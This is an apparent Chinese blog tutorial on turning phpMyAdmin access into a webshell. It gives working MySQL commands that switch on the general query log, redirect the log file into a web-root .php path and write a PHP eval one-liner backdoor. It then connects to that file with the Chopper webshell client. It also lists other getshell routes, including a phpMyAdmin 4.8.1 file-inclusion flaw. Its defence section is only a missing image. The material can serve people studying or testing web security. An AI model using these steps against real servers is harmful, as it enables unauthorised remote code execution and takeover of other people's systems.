从phpMyAdmin到getshell

尝试into outfile

想要使用into outfile或者load_file需要先查看secure_file_priv
如果后面有路径,表示上传文件至某个路径
若为null,则表示不可以使用into outfile上传文件
在这里插入图片描述
如果在命令行直接设置,则会报错,表示它是一个只读变量
所以如果一旦这里为null,无法使用into outfile来上传后门
在这里插入图片描述


通过日志文件

 SHOW VARIABLES LIKE '%general%';

查看日志文件功能是否开启以及文件路径

默认的样子
在这里插入图片描述

 SET GLOBAL general_log='on';     #开启general
 set global general_log_file='C:/phpstudy/www/yxcms/backdoor.php';     #将路径改为

修改过后
在这里插入图片描述

SELECT "<?PHP @EVAL($_POST['cmd']);?>";       #一句话木马

在这里插入图片描述

因为开启了日志功能,所以现在执行语句,会被写入该路径下
然后通过C:/phpstudy/www/yxcms/backdoor.php连接菜刀,输入密码
连接菜刀时,记得将路径修改为http://192.168.3.90/yxcms/backdoor.php


总结:

secure_file_priv值为NULL时,不能使用loadfile,into outfile进行读写文件
secure_file_priv值为空时,对导入导出无限制
也不能通过命令行修改,只能通过修改配置文件来改变路径,然后重启

mysql中有两个全局变量是我们getshell需要用到的重要变量:
(1)general_log (2)general_log_file

general_log是mysql中记录sql操作的日志,所有的查询语句会记录在一个日志文件中,但因为时间长了会导致日志文件非常大,所以默认为关闭,有时候在管理员需要进行排错时才会暂时性的打开这个变量
general_log_file是记录操作日志的路径


补充

phpmyadmin后台getshell一般有以下几种方式:

  1. select into outfile直接写入
  2. 开启全局日志getshell
  3. 使用慢查询日志getsehll
  4. 使用错误日志getshell
  5. 利用phpmyadmin4.8.1文件包含漏洞getshell

查看phpmyadmin版本:../phpmyadmin/readme
在这里插入图片描述


phpMyAdmin防御措施

在这里插入图片描述


版权声明:本文为weixin_44940180原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。